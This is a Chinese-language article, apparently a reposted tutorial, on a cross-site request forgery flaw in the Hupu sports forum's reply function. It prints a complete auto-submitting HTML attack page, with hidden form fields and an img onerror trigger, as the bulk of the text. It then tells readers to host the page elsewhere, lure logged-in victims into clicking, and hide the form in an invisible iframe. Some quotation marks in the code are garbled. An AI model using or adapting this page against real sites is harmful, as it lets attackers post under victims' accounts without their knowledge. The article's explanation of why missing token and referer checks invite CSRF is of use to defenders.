Web服务器对发送来的请求没有验证来源,就很容易出现csrf攻击。csrf的相关介绍见易踪网的另一篇文章:www.2cto.com/Article/201209/156432.html,由于目标网站没有对发送到服务器的请求做来源验证,因此存在 漏洞 。攻击者可以冒充登录用户发贴,留言等一些操作。 首先我们正常登录目标网站,打开burp suite的代理(有关burp suite参见易踪网文章:http://www.2cto.com/Article/201209/155614.html)。再次进入 浏览器 ,编辑留言,发出。burp suite截取到post数据包,进行查看。如截图: 查看其中post的相关参数,包含用户cookie和发贴的内容信息,没有加入tokenid和refferer验证,这样一般就可能存在csrf的漏洞。 手动编写一个 html ,内含form表单,表单中含有hupu网发贴需要的信息。html文件如下: <!DOCTYPE html><!–STATUS OK–> <html> <head> <meta http-equiv=]X-UA-Compatible]content=]IE=7″> <meta http-equiv=]content-type]content=]text/html;charset=utf-8″> </head> <body> <form method=]POST]name=]transfer]id=]333″action=]http:// www.2cto.com /post.php]> //修改成目标地址 <input type=]hidden]name=]atc_content]value=]%BA%DC%BA%C3%B5%C4%D2%BB%C6%AC%CE%C4%D5%C2%A1%A3″> <input type=]hidden]name=]usevote]value=]0″> <input type=]hidden]name=]douid]value=]1″> <input type=]hidden] name=]votetype] value=]bbs]> <input type=]hidden] name=]votetitle] value=]"> <input type=]hidden] name=]votename%5B%5D] value=]"> <input type=]hidden] name=]votename%5B%5D] value=]"> <input type=]hidden] name=]votename%5B%5D] value=]"> <input type=]hidden]name=]editnum]value=]3″> <input type=]hidden]name=]nowitnum]value=]3″> <input type=]hidden] name=]voteclass] value=]"> <input type=]hidden]name=]postfast]value=]2″> <input type=]hidden] name=]atc_title] value=]Re%3A%BF%C6%B1%C8%CA%C7%CF%D6%D2%DB%D6%D0%C0%FA%CA%B7%B5%D8%CE%BB%D7%EE%B8%DF%B5%C4%C2%F0%3F]> <input type=]hidden]name=]atc_usesign]value=]1″> <input type=]hidden]name=]atc_convert]value=]1″> <input type=]hidden]name=]atc_autourl]value=]1″> <input type=]hidden]name=]step]value=]2″> <input type=]hidden] name=]action] value=]reply]> <input type=]hidden]name=]fid]value=]1048″> <input type=]hidden]name=]tid]value=]4335054″> <input type=]hidden] name=]subject] value=]%BF%C6%B1%C8%CA%C7%CF%D6%D2%DB%D6%D0%C0%FA%CA%B7%B5%D8%CE%BB%D7%EE%B8%DF%B5%C4%C2%F0%3F]> <input type=]hidden]name=]editor]value=]0″> <input type=]hidden] name=]atc_attachment] value=]none]> <input type=]hidden] name=]replayofpage] value=]"> <input type=]hidden]name=]replaymeta]value=]1″> </form> <script type=]text/javascript]> function stealpage() { document.getElementById([333″).submit(); } </script> <img src=]123″onerror=]javascript:stealpage()]> </body> </html> 其后,把我们的html上传到第三方服务器,把该html的url发布在目标网上或者直接向被攻击者发送url,诱使点击。只要被攻击者登录了目标网站,又点击了该链接,被攻击者的浏览器就会附带上自己的cookie和html中的form表单向目标网站发起post请求,由于服务器没有校验发起方的身份,请求被认为是合法的(因为请求中包含了被攻击者的cookie),提交成功。 为了隐蔽,编写html时可以将form表单编写在一个不可见的iframe中,这样被攻击者就感觉不到攻击的存在了
查看更多关于虎扑体育网csrf - 网站安全 - 自学php的详细内容...